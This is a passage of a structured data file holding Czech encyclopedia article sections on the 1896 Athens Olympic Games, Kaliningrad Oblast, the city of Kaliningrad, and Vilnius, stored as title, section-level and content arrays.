odehrají na území Spojených států s tím, že místo pořádání bude dodatečně určeno. Řecko se nakonec rozhodlo pro uspořádání meziher v roce 1906, ale MOV je neuznal jako oficiální. Olympijské hry se na území Řecka vrátily až po 108 letech při XXVIII. letních olympijských hrách 2004.", "", "Lehkoatletické soutěže se těšily velkému zájmu v porovnání s ostatními sporty. Ve dvanácti disciplínách se prezentovalo šedesát tři sportovců deseti národností, atletika tak byla soutěží s nejpestřejším složením sportovců z různých zemí. V běžeckých disciplínách se soutěžilo podle pravidel Union des sociétés françaises de sports athlétiques, zatímco v technických disciplínách byly užity sportovní regule britské sportovní asociace Amateur Athletic Association. Při prvních hrách je logické, že výkony ve všech disciplínách byly ohodnoceny vizitkou olympijského rekordu, zatímco světové rekordy nebyly uznány, jednak proto, že účastnící se atleti nebyli nejvyšší mezinárodní úrovně a jednak pro technické parametry olympijského stadionu. Vrcholnou disciplínou byl maraton, běh ze stejnojmenného města do řecké metropole. Trať navrhl a vytvořil Michel Bréal, nechal se inspirovat příběhem řeckého vojáka Feidipidéa, který běžel oznámit do Athén výsledek významné bitvy řecko-perských válek, která se odehrála poblíž města Marathón. Vítězem se stal domácí borec Spyridon Louis, který se tak stal národním hrdinou a jemuž v cíli aplaudovalo přes 100 000 diváků. Edwin Teddy Flack, jediný australský sportovec na Olympijských hrách, vybojoval dvě zlaté medaile v běhu na 800 m a v běhu na 1500 m. Třetí medaili, která měla bronzovou hodnotu, získal na tenisových dvorcích. Dalším dvojnásobným olympijským šampionem se stal Američan Thomas Burke, zvítězil v běhu na 100 m a běhu na 400 m. Ve skokanském sektoru se nejvíce dařilo Ellerymu Clarkovi, jenž získal zlatou medaili ve skoku vysokém a ve skoku dalekém. Clarkův největší konkurent ve skocích, Robert Garrett, získal dvě stříbrné, ale stal se nejúspěšnějším atletem, když do své sbírky přidal ještě zlaté medaile z hodu diskem a vrhu koulí. Trojskok se stal jednoznačnou záležitostí Jamese Connollyho, který zvítězil metrovým rozdílem před druhým v pořadí. William Welles Hoyt zvítězil ve skoku o tyči. Ve dvanácti disciplínách získali američtí atleti 17 medailí, devět zlatých, pět stříbrných a tři bronzové a stali se tak nejúspěšnější zemí v atletickém sektoru.", "Na olympijských hrách se závodilo podle platných pravidel International Cycling Association (Mezinárodní cyklistické asociace), předchůdce dnešní UCI. Cyklistické závody na dráze se konaly na velodromu Neo Phaliron, který byl za tímto účelem vybudován v osm kilometrů vzdáleném Faliro. Soutěžilo se zde v pěti disciplínách a nejúspěšnějším dráhařem se stal francouzský cyklista Paul Masson, jenž zvítězil v závodě na 2000 metrů, závodě na 10 kilometrů a časovce. Další francouzský cyklista Léon Flameng zvítězil v závodě na 100 kilometrů. I přes nepříjemný pád si dokázal uhájit dostatečný náskok před všemi soupeři. Dvanácti hodinový maraton se stal závodem dvou mužů, Rakušana Adolfa Schmala a Brita Franka Keepinga, ostatní cyklisté závod vzdali po třech hodinách. Zlatou medaili si nakonec odvezl Adolf Schmal díky náskoku jednoho kola, který si vytvořil v začátku závodu. Silniční cyklistika se prezentovala na hrách závodem jednotlivců, který se odehrál na 87 km dlouhé trati Athény – Marathón – Athény, kopírující trať maratonského běhu. V závodě zvítězil domácí cyklista Aristidis Konstantinidis v čase 3:22:31. Profesionální bicykly nebyly doménou všech účastníků, vítěz závodu Konstantinidis dokončil závod na běžném kole jednoho z přihlížejících diváků. Došlo k tomu po jednom ze tří pádů, které ho postihly. V celkovém součtu byli nejúspěšnější francouzští cyklisté, kteří získali šest medailí, z toho čtyři zlaté.", "Gymnastické soutěže probíhaly na stadionu Panathinaiko. Účastnilo se jich 71 gymnastů (z toho 52 Řeků) z devíti států. Německo stejně jako Spojené státy v atletice ovládlo gymnastický sektor ziskem deseti medailí, pěti zlatých, třech stříbrných a dvou bronzových. Všichni němečtí reprezentanti byli zástupci dvou berlínských mužstev, Berliner Turnerschaft a Turngemeinde in Berlin. Závod družstev na hrazdě byl přehlídkou německé gymnastické školy, reprezentanti obou berlínských družstev byli jedinými aktéry této disciplíny na athénských olympijských hrách. Německé mužstvo zvítězilo i v závodě družstev na bradlech, tady museli porazit dvě domácí družstva, Panellinios GS Atene a Ethnikos Gymnastikos Syllogos. Další tři němečtí gymnasté zvítězili v individuálních disciplínách, Hermann Weingärtner si odnesl prvenství v závodě na hrazdě, Alfred Flatow v závodě na bradlech a Carl Schuhmann, který si odnesl zlatou medaili i ze zápasu, zvítězil v přeskoku. Kůň na šíř se stal doménou švýcarského gymnasty Louise Zuttera, zatímco ve dvou zbývajících disciplínách, kruzích a ve šplhu zvítězili domácí reprezentanti – Ioannis Mitropulos respektive Nikolaos Andriakopoulos.", "Všechny disciplíny v plaveckých soutěžích se odehrály v zátoce Zea v těsné blízkosti města Pireo. Organizátoři nenašli v rozpočtu dostatečný balík peněz, aby se mohl postavit plavecký stadión a tak se vše muselo uskutečnit na otevřeném moři. I přes nepřízeň počasí přihlíželo plaveckým závodům 20000 diváků. Moře toho dne bylo rozbouřené a studené (teplota vody byla pouhých 13 °C). Na olympijské hry vyslali své zástupce pouze domácí Řekové (15), Rakušané (2), Američané (1) a Maďaři (1). I přes početní převahu dokázali Řekové zvítězit pouze v jediné disciplíně, 100 metrů volným způsobem námořníků, a to protože do této disciplíny nenastoupil žádný cizinec. Nejúspěšnějším plavcem se stal sedmnáctiletý Maďar Alfréd Hajós, který zvítězil na 100metrové trati a v nejdelším závodě na 1200 metrů. Alfréd Hajós nemohl nastoupit k závodu na 500 metrů, z jednoduchého důvodu, nebylo dostatek času k načerpání sil, závody v olympijském programu na sebe těsně navazovaly. Olympijským šampiónem posledně jmenované disciplíny se stal Rakušan Paul Neumann. Maďarsko tak díky výkonu Alfréda Hajóse získalo dvě zlaté medaile a vévodilo tak žebříčku národů v plaveckých disciplínách. Nejvíce medailí z plavání, sedm, ale pouze jednu zlatou, získali Řekové.", "Závody ve sportovní střelbě se uskutečnily na vojenské střelnici nedaleko od města Kallithea. Soutěžilo se v pěti disciplínách, ve třech se používala pistole a ve dvou puška. První disciplínou byla střelba z vojenské karabiny, tady s velkou převahou zvítězil domácí střelec Pantelis Karasevdas. Byl jediným, kdo dokázal zasáhnout všech 40 terčíků. Řekové dokonale ovládli první disciplínu, když obsadili prvních pět míst a v první desítce jich bylo sedm. Střelba z vojenského revolveru, jež byla druhou střeleckou disciplínou, se stala kořistí bratrské dvojice Johna a Sumnera Paineových, kteří se tak stali první sourozeneckou dvojicí, která získala na olympijských hrách medailové umístění. Sumner Paine přidal ke stříbrné medaili ještě zlatou z disciplíny nazvané libovolná pistole a stal se tak jedním z nejúspěšnějších střelců. Libovolný revolver se uskutečnil za neúčasti bratrů Paineových, kteří nevlastnili revolvery odpovídajícího kalibru, zvítězil tak Ioannis Frangoudis. Poslední střeleckou disciplínou byla střelba z libovolné pušky. Závod byl pro špatnou viditelnost přerušen a pokračoval následující den, olympijským vítězem se stal Georgios Orphanidis. V pěti disciplínách získali řečtí střelci devět medailí, tři zlaté a po stejném počtu stříbrných a bronzových medailí.", "Šermířské soutěže se uskutečnily v Zappeionu, postaveném podnikatelem a filantropem Evangelisem Zappasem za účelem organizování mezinárodních sportovních událostí. Na rozdíl od ostatních sportů, kterých se směli zúčastnit pouze amatérští sportovci, šerm měl disciplínu určenou pouze pro profesionály, fleret mistři. Nejprve se mělo soutěžit ve čtyřech disciplínách, ale kord byl před zahájením turnaje z neznámých důvodů zrušen. Eugène-Henri Gravelotte zvítězil ve finále fleretu, když porazil Henriho Callota. Šavle se stala jasnou záležitostí Ioannise Georgiadise, který vyšel ze všech duelů jako vítěz a získal tak zlatou medaili. Zajímavostí turnaje šavlistů byla účast Rakušana Adolfa Schmala, který získal tři medaile v cyklistice a Holgera Nielsena, medailisty ze sportovní střelby. Turnaj profesionálů měl pouze dva účastníky, domácího Leonidase Pyrgose a Francouze Joanni Maurice Perroneta, v boji zvítězil řecký reprezentant 3:1. Domácí šermíři získali ve třech disciplínách celkem čtyři medaile, dvě zlaté a po jedné stříbrné a bronzové a porazili tak Francii, která získala tři medaile.", "I když tenis byl jedním z nejpopulárnějších sportů té doby, olympijského turnaje se nezúčastnil nikdo z nejlepších světových hráčů. Turnaj se odehrál na travnatých tenisových dvorcích athénského tenisového klubu a částečně i na velodromu Neo Phaliron. John Pius Boland, vítěz dvouhry, přijel do Athén na pozvání svého přítele Konstantina Manose a pouze jako divák. Manos, znajíce Bolanda jako výborného hráče tenisu, přihlásil svého kamaráda do turnaje v Athénách. Do prvního kola proti německému tenistovi Friedrichu Traunovi nastoupil v civilním oblečení a botách, jelikož nebyl připraven na aktivní účast na hrách. Boland nakonec postoupil do finále, kde ho čekal domácí borec Dionysios Kasdaglis. Ani tady britský tenista nezaváhal a zvítězil v poměru 2:0 (6:2 a 6:2). John Pius Boland poté vyzval svého prvního soupeře na hrách, Němce Friedricha Trauna, aby mu dělal partnera ve čtyřhře. Ani zde nenašel Boland přemožitele a získal druhou zlatou medaili.", "Vzpěračské soutěže se uskutečnily na stadionu Panathinaiko hned druhý den olympijských her, 7. dubna. Pravidla pro vzpírání byla značně odlišná od těch dnešních. Největším rozdílem byly váhové kategorie, které v době konání athénských her neexistovaly. Vzpěračských disciplín se zúčastnilo sedm atletů, ale opravdovými hvězdami u diváků se stali pouze dva, skotský borec Launceston Elliot a dánský sportovec Viggo Jensen. V první disciplíně, kterou bylo vzpírání obouruč, oba jmenovaní borci dostali nad hlavu 111,5 kg, ale sbor rozhodčích, jehož členem byl i král Jiří I., stanovil vítězem Jensena pro vytříbenější styl. Launceston Elliot si vše vynahradil ve druhé disciplíně – vzpírání jednou rukou, když zdvihl bez větších problému váhu 71 kg a získal tak první olympijskou zlatou medaili pro Spojené království. Viggo Jensen skončil na druhém místě výkonem 57 kg, stejný výkon dokázal i Alexandros Nikolopoulos. Ve vzájemném souboji o stříbrnou příčku dokázal Jensen zdvihnout stejnou váhu i druhou rukou, zatímco jeho soupeř nikoliv.", "Řeckořímský zápas byl jedinou disciplínou pořádanou na olympijských hrách v Athénách v zápase. Zápasnické soutěže se uskutečnily na stadionu Panathinaiko 11. dubna. Stejně jako u vzpírání, také v zápase neexistovaly žádné váhové kategorie. Soutěžilo se dle pravidel, která se shodují s těmi dnešními, jen chyběl časový limit. Mezi pěti účastníky se nejlépe prosadil olympijský vítěz z gymnastiky Carl Schuhmann. Pouze oba řečtí zápasníci byli specialisté na řeckořímský zápas. Olympijské hry v Athénách nechaly klidnými všechny zápasníky, a tak se her nezúčastnili. Olympijský vítěz ve vzpírání Launceston Elliot nastoupil v prvním kole právě proti pozdějšímu vítězi celého turnaje Carlu Schuhmannovi. Německý šampión se ve finále střetl s Řekem Georgiosem Tsitasem, který překonal svého krajana Stephanose Christopoulose. Finálový zápas byl po 40 minutách přerušen pro špatnou viditelnost a musel tak pokračovat následující den, kdy Schuhmann zvítězil za 15 minut.", "", "Deset ze čtrnácti zúčastněných národů, pokud nebudeme brát v úvahu smíšená družstva, získalo na prvních Letních olympijských hrách alespoň jednu medaili. Sportovci Spojených států amerických získali jedenáct zlatých medailí, což jejich zemi vyneslo na první příčku v pořadí mezi národy. Domácí sportovci získali nejvíce medailí (46) a prvenství mezi národy jim uniklo rozdílem jedné zlaté. Bulharsko, Chile, Itálie a Švédsko vyslaly na Letní olympijské hry do Athén po jednom sportovci a musely se smířit s faktem, že nezískaly jedinou medaili. V průběhu her byli medailí oceněni pouze první dva sportovci v každé disciplíně, bronzové medaile udělil Mezinárodní olympijský výbor až dodatečně. Další kuriozitou her v Athénách, stejně jako následujících v Paříži a Saint Louis, byla možnost startu smíšených družstev, složených ze sportovců různých zemí. Mezinárodní olympijský výbor vede výsledky těchto družstev pod názvem Smíšená družstva (Mixed teams) (IOC kód ZZX). Během athénských her byli takto zařazeni tenisté, kteří se účastnili tenisového turnaje ve čtyřhře.", "Lidstvo si muselo počkat celých 1503 let na to, aby se dozvědělo jméno dalšího olympijského vítěze. Tím prvním v novodobých olympijských hrách byl americký atlet James Connolly, který triumfoval v trojskoku. Thomas Curtis, vítěz běhu na 110 metrů překážek se proslavil díky historické fotografii, kde je zachycen v nízké startovní pozici. Až doposud bylo běžné, že závodníci startovali z polohy ve stoje. Řecký gymnasta Dimitrios Lundras na sebe upoutal pozornost jako nejmladší držitel olympijské medaile, konkrétně bronzové ze soutěže družstev na bradlech. V době konání olympijského závodu mu bylo 10 let a 218 dní. Na hrách v Athénách nemohly startovat ženy, přesto se v maratonském běhu představila, i když neoficiálně, Stamáta Revíthi, žena prostého původu, matka 17 měsíčního dítěte, známá také jako \"Melpomene\". Nejvíce zlatých medailí získal německý sportovec Carl Schuhmann. Nejenže dominoval ve třech gymnastických závodech, ale získal zlatou medaili i v zápase. Tři zlaté, dvě stříbrné a jedna bronzová medaile, taková je bilance německého gymnasty Hermanna Weingärtnera, který se tak stal držitelem největšího počtu medailí na hrách v Athénách. Největší hvězdou cyklistických disciplín byl francouzský šampion Paul Masson, jenž zvítězil ve třech ze šesti závodů, které byly součástí olympijského programu. Maďarský plavec Alfréd Hajós získal dvě zlaté ze čtyř možných v plaveckých závodech. V lehkoatletických závodech dominovali američtí atleti, když zvítězili v devíti z dvanácti disciplín a celkově jen za lehkou atletiku obdrželi 17 medailí. I proto se dalo předpokládat, že nejúspěšnějšího atleta je třeba hledat v jejich řadách. Stal se jím se dvěma zlatými a dvěma stříbrnými Robert Garrett. Dalšími dvojnásobnými olympijskými šampiony se stali Tom Burke a Ellery Clark. Angličan John Pius Boland se stal absolutním tenisovým šampionem, když zvítězil ve dvouhře a poté i ve čtyřhře, kde nastoupil spolu s německým tenistou Friedrichem Traunem. Vzpírání mělo v Athénách dvě velké hvězdy, dánského borce Vigga Jensena a Brita Launcestona Elliota, oba získali po jedné zlaté a jedné stříbrné medaili." ] }

{ "title": [ "Geografická poloha.", "Historie.", "Středověk a starší novověk.", "Od 19. století do roku 1945.", "Moderní doba.", "Obyvatelstvo.", "Města.", "Národnostní složení.", "Náboženství.", "Baltská jaderná elektrárna." ], "section_level": [ "1", "1", "2", "2", "2", "1", "2", "2", "2", "1" ], "content": [ "Celá oblast se vyznačuje jemně zvlněným nížinným charakterem s morénovými pahorkatinami. Nejvyšší kopce nepřevyšují 230 m n. m. Mezi největší řeky patří Pregola, protékající Kaliningradem, a Němen, který tvoří přírodní hranici s Litvou. Dále protékají územím menší řeky Węgorapa a Instruč, které na svém soutoku tvoří právě řeku Pregolu, a Lava, která je její levý přítok. Na severu se nachází Kurský záliv, který od Balského moře dělí tzv. Kurská kosa. Jedná se o poloostrov dlouhý cirka 100 km a široký jen od 400 m do 3,8 km. Jihovýchod oblasti jsou hustě zalesněné. Nachází se zde největší lesní porost (250 km2) tzv. Romincké vřesoviště (rusky Červený les) a ledovcové Vištyterské jezero. Na západě ční do Baltského moře Sambijský poloostrov, kde se nachází největší světové zásoby jantaru. Jih pobřeží je lemován Viselským zálivem, který je taky od vlastního moře oddělen kosou. V tomto případě se jedná o tzv. Viselskou kosu (délka 60 km, šířka 600 m až 2 km).", "", "Původně byla Kaliningradská oblast obydlená lidem Sembů, kteří patřili mezi kmeny starých Prusů. Zalesněná a bažinatá země, obývaná těmito roztroušenými a politicky nejednotnými kmeny, byla do roku 1283 dobyta Řádem německých rytířů. Křižáci založili v roce 1255 na počest českého krále Přemysla Otakara II. město Královec (německy \"Königsberg\", dnešní Kaliningrad), který se stal hlavním sídlem. Do oblasti se začali proudit němečtí osadníci, kteří postupně Prusy asimilovali. Albrecht Braniborský nechal řád v roce 1525 sekularizovat, a založil tak Pruské vévodství. V roce 1618 došlo k personální unii Pruska s Braniborskem a oblast se později stala součástí Pruského království pod vládou Hohenzollernů. Po prvním dělení Polska (1772) vznikla provincie Východní Prusko (\"Ostpreußen\"), která přetrvala až do roku 1945.", "V roce 1871 vzniklo Německé císařství a Východní Prusko bylo jeho nejvýchodnější území. První světová válka zasáhla jeho východní oblasti v letech 1914–1915, kdy byly dobyty ruskými vojsky a dnešní Nestěrov (německy \"Stallupönen\") byl při bojích těžce poničen. Po roce 1919 byla celá oblast oddělena od samotného Německa tzv. polským koridorem, který zaručoval nově vzniklému Polsku přístup k moři. Následně bylo území severně od řeky Němen včetně významného přístavu Klaipeda (německy \"Memel\") dáno pod mezinárodní správu a nakonec se stalo v roce 1924 součástí Litvy. Ztráta přístavu a oddělení od vlastního státu se na místní ekonomice podepsaly velice negativně. S nástupem nacismu přestaly oficiálním místům vyhovovat názvy sídel, které vznikly z původních pruských jmen, a tak v roce 1938 tak došlo k plošnému přejmenování. Příkladem může být dnešní Krasnoznamensk, který nesl jméno Lasdehnen znamenající v pruštině lískový keř. Novým jménem je stal Hasselberg, což je překlad jména z pruštiny do němčiny. Během druhé světové války byla většina velkých měst jako Tylže, Insterburg či Královec vystavena bombardování a při ústupových bojích Wehrmachtu s Rudou armádou byla historická centra téměř srovnána se zemí. Díky tomu se v Kaliningradské oblasti dochovalo velmi málo původních památek. Na konci druhé světové války začala německá operace Hanibal, která měla za cíl evakuovat většinu německého obyvatelstva z Východního Pruska před postupujícími Sověty. Rudá armáda dobyla Královec 9.dubna 1945. Postupimská dohoda přiřkla v roce 1945 jižní část Východního Pruska Polsku a severní část Sovětskému svazu, a tak vznikla Kaliningradská oblast. Zbývající německé obyvatelstvo bylo odsunuto do Německa a jejich místo zabrali Rusové především z oblasti centrálního Ruska a Povolží. V roce 1946 došlo k další vlně přejmenování všech sídel. Pro příklad Královec se změnil na Kaliningrad podle sovětského politika Kalinina, Tylže na Sovětsk na počest nového politického uspořádání, Insterburg byl přejmenován na Čerňachovsk podle sovětského generála, který padl při dobývání Královce a již zmíněný jednou přejmenovaný Hasselberg byl pojmenován Krasnoznamensk, znamenající rusky Rudý prapor. Poválečné názvy přežily i pád Sovětského svazu.", "S obnovou oblasti se započalo se začátkem Studené války. Místní přístavy se staly strategickými kotvišti pro Baltskou flotilu a následně byl Kaliningrad uzavřen pro všechny cizince. Po rozpadu SSSR v roce 1991 se město stalo součástí Ruska jako jeho exkláva. Na místní ekonomice se podepsalo velmi negativně přistoupení sousední Litvy a Polska do EU v roce 2004. Celá Kaliningradská oblast se dostala do výrazné izolace, začala se zhoršovat ekonomická situace a růst nezaměstnanost. K dalšímu zhoršení došlo po snížení stavu místní ruské vojenské posádky, která zaměstnávala mnoho místních obyvatel. K oživení došlo až s přidělení statusu \"Speciální ekonomické zóny\", kvůli které mohou firmy platit snížené výrobní daně. Od té doby postavily v oblasti svoji montovnu aut a nákladních automobilů GM, BMW či Kia. Dalším pozitivním vlivem pro ekonomiku bylo oživení turismu a lázeňství na pobřeží Baltského moře. V roce 2007 došlo k otevření nového civilního letiště.", "Podle sčítání lidí z roku 2010 žilo v oblasti 941 873 obyvatel. Což sice je mírný pokles od posledního sčítání v roce 2002 (955 281 obyvatel), ale i tak Kaliningradská oblast patří k jedné z mála ruských oblastí, kde od rozpadu Sovětského svazu došlo k nárůstu počtu obyvatel. Podle sčítání obyvatel z roku 1989 měla oblast 871 283 obyvatel.", "Historie všech měst v Kaliningradské oblasti byla významně ovlivněna výsledkem druhé světové války. V období leden 1944 – duben 1945 došlo k námořní evakuaci většiny německého obyvatelstva do dnešního Německa a po příchodu Rudé armády byl i zbytek Němců odsunut. Populace většiny měst tak klesla téměř na nulu a ne všechna města se podařilo dosídlit. Kaliningrad se dostal na předválečnou úroveň obyvatelstva až po roce 1979. Sovětsk předválečných 60 tiscích obyvatel již nikdy nedosáhl a podobný osud potkal většinu vnitrozemních sídel. Na druhou stranu přístavní města jako například Baltijsk či Zelenogradsk mají díky růstu rekreace a lázeňství několikanásobně více obyvatel než před válkou.", "Národnostně je oblast téměř homogenní. Z předválečné německy či litevsky mluvící populace se nedochovalo nic. Po roce 1991 ale začali do oblasti emigrovat Němci a Poláci, kteří do té doby žili v Kazachstánu či na Sibiři. Národnostní složení v roce 2010 tak bylo následující: Z vývoje národnostních menšin za dob Sovětského svazu a následně Ruské federace jde vypozorovat výrazný pokles, který nastal po roce 1989. Od pádu komunismu se snížil počet obyvatel hlásících se k jiné než ruské národnosti na polovinu.", "Oblast byla do roku 1945 převážně evangelická (povětšinou luteránská) s malými menšinami židů a katolíků. Dominantní luteráni byli organizováni pod tzv. Pruskou unii. Po odsunu Němců byly místní evangelické kostely buď zničeny nebo přesvěceny pro potřeby ruského pravoslaví. Od té doby je pravoslaví dominantní církví. V roce 2012 se k němu hlásilo 30,9% obyvatel, dalších 34% obyvatel se hlásí k víře ale bez konkrétní církve. Za ateisty se prohlásilo 21,6% obyvatel a katolíci tvořili 1%.", "Kaliningradská oblast měla mít od roku 2016 vlastní jadernou elektrárnu. V roce 2008 podepsala místní vláda a agentura Rosatom smlouvu na výstavbu a 25. února 2010 guvernér oblasti Georgij Boos spolu se šéfem Rosatom Sergejem Kirijenkem položili její základní kámen. Dokončena měla být v roce 2016 a zatím je jediným akcionářem ruská vláda. Jednalo se o projekt, velmi důležitý z mnoha hledisek – je to první elektrárna, kterou Rusko staví \"na zelené louce\" (předtím pouze dokončovalo staré projekty z dob SSSR), zajistí oblast energií a navíc může změnit energetický profil regionu, neboť Polsko, Bělorusko ani pobaltské země funkčními jadernými elektrárnami nedisponují. Stavba elektrárny započala v roce 2011 budováním pomocných objektů a vytvořením základové desky prvního bloku. Vzhledem k tomu, že se původní exportní cíle v rámci vývozu elektřiny nepodařilo naplnit, v polovině roku 2013 byla stavba elektrány pozastavena. Šéf Rosatomu Sergej Kirijenko nařídil provést studii možnosti využití menších reaktorů, které by odpovídaly energetickým potřebám regionu. Jednat se mělo o reaktor VVER-640 pro první blok a KLT-40 S pro druhý. Ani v roce 2018 nebylo zatím rozhodnuto o dalším osudu projektu." ] }

{ "title": [ "Historie.", "Sambové.", "Královec.", "Kaliningrad.", "Změna jména." ], "section_level": [ "1", "2", "2", "2", "1" ], "content": [ "", "Osada Pregnora (Twangste) na místě pozdějšího města byla založena již kolem roku 300 př. n. l. a byla zničena při dobývání Pruska Řádem německých rytířů (1255). Oblast byla dříve obývána kmenem Sambů z baltského etnika starých Prusů, které pravděpodobně v 17. století podlehlo germanizaci.", "Křižáci město založili v roce 1255 na počest českého krále Přemysla Otakara II., který se postavil do čela jedné z křížových výprav proti pohanským Prusům. Křižáci zde postavili hrad, který v roce 1256 pojmenovali Královská hora v Sambii (castrum de Coningsberg in Sambia), latinsky Mons Regius (později Regiomontium). Kolem roku 1290 získal Královec městská práva. Rozvíjel se jako přístav a člen Hanzy. Kolem roku 1300 vznikla na jižním břehu řeky Pregola osada Löbenicht a roku 1327 na ostrově Pergole osada Kneiphof. (všechny tři části spojeny v roce 1724). Roku 1312 se hrad stal sídlem velmistra řádů německých rytířů; nedlouho poté začala stavba katedrály, zasvěcené sv. Vojtěchovi. V roce 1345 město postihl ničivý požár. Roku 1701 připadl Královec Prusku a téhož roku zde byl Fridrich I. korunován pruským králem. V 18. století byla připojena další předměstí. Za sedmileté války připadlo město nakrátko Rusku. Roku 1871 se stalo součástí Německého císařství. Za druhé světové války bylo město jako důležitý přístav nacistického Německa těžce bombardováno britským letectvem. Část obyvatel jej opustila ještě před příchodem Rudé armády, která jej obsadila 9. dubna 1945 po čtyřdenní bitvě. Po jejím příchodu bylo z města vysídleno zbylých 200 000 Němců. Zůstalo asi 20 000 obyvatel (z 316 000 před válkou). Po postupimské konferenci město připadlo spolu se severní částí Východního Pruska Sovětskému svazu. V roce 1946 bylo přejmenováno na Kaliningrad podle sovětského politika Michaila Ivanoviče Kalinina.", "Jako nejzápadnější výspa Sovětského svazu nabyla Kaliningradská oblast velkého významu v průběhu studené války. Kaliningrad se stal v 50. letech 20. století sídlem sovětské Baltské flotily. Z důvodu svého strategického významu byl Kaliningrad uzavřen pro cizince. Po válce zde bylo založeno Regionální muzeum historie a umění, Kaliningradské divadlo a v roce 1967 Baltská federální univerzita Immanuela Kanta. V roce 1979 se otevřelo Jantarové muzeum; mezi exponáty je druhý největší valoun jantaru na světě, jakož i sbírka více než 3000 jantarových inkluzí. Po rozpadu Sovětského svazu se stalo město společně s Kaliningradskou oblastí exklávou Ruska a otevřelo se zahraničním návštěvníkům. V nedalekém městě Baltijsku je jediný ruský přístav v Baltském moři, který během roku nezamrzá. Kaliningrad hostil některé zápasy během ruského Mistrovství světa ve fotbale 2018.", "Po roce 1991 došlo k debatám o tom, zda změnit název města zpět na \"Königsberg (Královec)\" stejným způsobem, jako se vrátilo několik dalších ruských měst ke svým předrevolučním jménům (např. Petrohrad, Jekatěrinburg, Samara, Tver). Jiní navrhovali změnu jména na \"Kalinograd\" (kalina je keř, který má posvátné konotace ve slovanském folklóru, je to motiv v desítkách lidových písní, spojených hlavně s mládím, svatbami či pohřby. \"Kantgrad\" je další navrhované alternativní jméno, připomínající velkého filozofa Immanuela Kanta, který ve městě prožil celý život." ] }

{ "title": [ "Poloha.", "Podnebí.", "Historie.", "Doprava." ], "section_level": [ "1", "1", "1", "1" ], "content": [ "Město leží v jihovýchodní Litvě (54°41\" severní šířky a 25°17\" východní délky) na soutoku řek Vilnia a Neris. Ačkoli se dnes nachází poblíž litevsko-běloruské státní hranice, v minulosti šlo nejen o kulturní, ale i o geografické centrum území tuto hranici přesahujícího, někdejšího Litevského velkoknížectví a také o významné město v rámci polsko-litevské unie.", "Podnebí je zde přechodové mezi kontinentálním a přímořským. Průměrná roční teplota je +6,1 °C, lednová průměrná teplota činí −4,9 °C a červencová +17,0 °C. Průměrné roční srážky činí 661 mm. Ve Vilniusu bývají extrémně horká léta, kdy teplota přesahuje 30 °C.", "Oblast Vilniusu byla obydlena odedávna, jak dokládají četné archeologické nálezy v různých částech města. Litevská pověst o založení Vilniusu říká, že město bylo založeno poté, co vládnoucí velkovévoda Gediminas měl věštecký sen o železném vlku stojícím na kopci. Když požádal kněze o vysvětlení, dozvěděl se, že musí postavit hrad a velké město na vrcholu kopce. Název města vznikl zkomolením jména řeky Viliji, která Vilniusem protéká. V psaných pramenech je město poprvé zmíněno v roce 1323. Vilnius se stal známým poté, co do něj Gediminas pozval německé obchodníky. Nejstarší částí města je hrad, postavený Gediminasem na Hradním kopci. V roce 1387 byla městu udělena magdeburská městská práva Vladislavem II. Jagellem, králem Polska a velkoknížetem litevským. Mezi lety 1503 až 1522 byly vybudovány městské hradby s devíti branami a třemi věžemi. Vilnius dosáhl vrchol svého rozvoje za vlády posledního Jagellonce Zikmunda II. Augusta, který sem přestěhoval svůj dvůr v roce 1544. V dalších stoletích se město dále rozrůstalo, mj. i díky založení Vilniuské univerzity králem a velkoknížetem Štěpánem Báthorym v roce 1579. Univerzita se brzy stala jedním z nejdůležitějších vědeckých a kulturních středisek v oblasti a hlavním vědeckým centrem litevského velkoknížectví. V roce 1655 byl Vilnius obsazen ruskou armádou (tj. vojskem Moskevské Rusi), byl vypleněn a vypálen a jeho obyvatelé zmasakrováni. Na počátku 19. století byl však již třetím největším městem ve východní Evropě. Růst obyvatelstva si vyžádal zboření hradeb v letech 1799–1805, zachovala se pouze Brána rozbřesku (litevsky \"Aušros Vartai\", polsky \"Ostra brama\", tedy Ostrá brána). Po třetím dělení Polska v roce 1795 byl Vilnius anektován Ruskem a stal se hlavním městem Vilenské gubernie. V roce 1812 město dobyl Napoleon během svého tažení na Moskvu. Jeho armáda posléze do Vilniusu ustoupila a město se stalo hrobem tisíců zraněných francouzských vojáků. V 19. století město postihly represe po nezdařených polských povstáních proti ruské nadvládě. Po listopadovém povstání z let 1831–1832 byla mj. uzavřena vilniuská univerzita. Během první světové války byl Vilnius okupován Německem (1915–1918). V roce 1919 byl prohlášen hlavním městem krátce existující Sovětské socialistické republiky Litvy a Běloruska (zvané Lit-Bel). 1. ledna 1919 byl Vilnius obsazen polskými jednotkami, které vytvořili místní obyvatelé (většina obyvatel byli totiž Poláci a Židé, etničtí Litevci tvořili malou, méně než 10% menšinu). Bolševická vojska postupující od východu ho později obsadila, ale 19. dubna 1919 ho Poláci dobyli zpět. 14. července 1920 město opět obsadili Rusové, ovšem po porážce ruských vojsk u Varšavy Sověti předali Vilnius nově vzniklé Litvě. 9. října 1920 však Vilnius obsadila litevsko-běloruská divize polské armády. Město a okolí bylo prohlášeno za samostatný stát „Střední Litvu“, jehož parlament 20. února 1922 odhlasoval připojení k Polsku. Vilnius se stal hlavním městem vilenského vojvodství. Litva nicméně polskou svrchovanost nad bývalou Střední Litvou nikdy neuznala a vláda sídlící v „provizorním hlavním městě“ Kaunasu oficiálně považovala Vilnius za hlavní město (obě země ostatně kvůli tomu navázaly diplomatické styky až v roce 1938). Za polské vlády prodělal Vilnius rychlý rozvoj. Byla znovuotevřena univerzita Štěpána Báthoryho a podstatně se zlepšila infrastruktura města. V roce 1931 měl Vilnius 195 tisíc obyvatel a byl pátým největším městem v Polsku. Po vypuknutí druhé světové války byl Vilnius 19. září 1939 na základě paktu Ribbentrop-Molotov obsazen Rudou armádou. Polská armáda nekladla větší odpor, neboť její hlavní síly bojovaly proti Němcům v jiných částech Polska. Podle ruských plánů se měl Vilnius stát hlavním městem Běloruska. Na litevsko-ruských rozhovorech v Moskvě 10. října 1939 bylo ale dohodnuto předání města a okolí Litvě výměnou za její souhlas se zřízením ruských vojenských základen na litevském území. V červnu 1940 byla Litva okupována Sovětským svazem a Vilnius se stal hlavním městem Litevské sovětské socialistické republiky. Sovětská tajná policie NKVD tehdy zatkla cca 35 až 40 tisíc obyvatel města a poslala je do gulagů. V červnu 1941 padl Vilnius do německých rukou. Němečtí okupanti zavraždili asi 100 tisíc obyvatel, mezi nimi 95 % místních Židů. Na tom se podílel i Franz Murer, přezdívaný kat židů ve Vilniusu. Neúspěšné židovské povstání z 1. září 1943 vedlo ke konečného destrukci zdejšího ghetta, které vedla kontroverzní postava Jacoba Gense. Vilnius byl osvobozen v 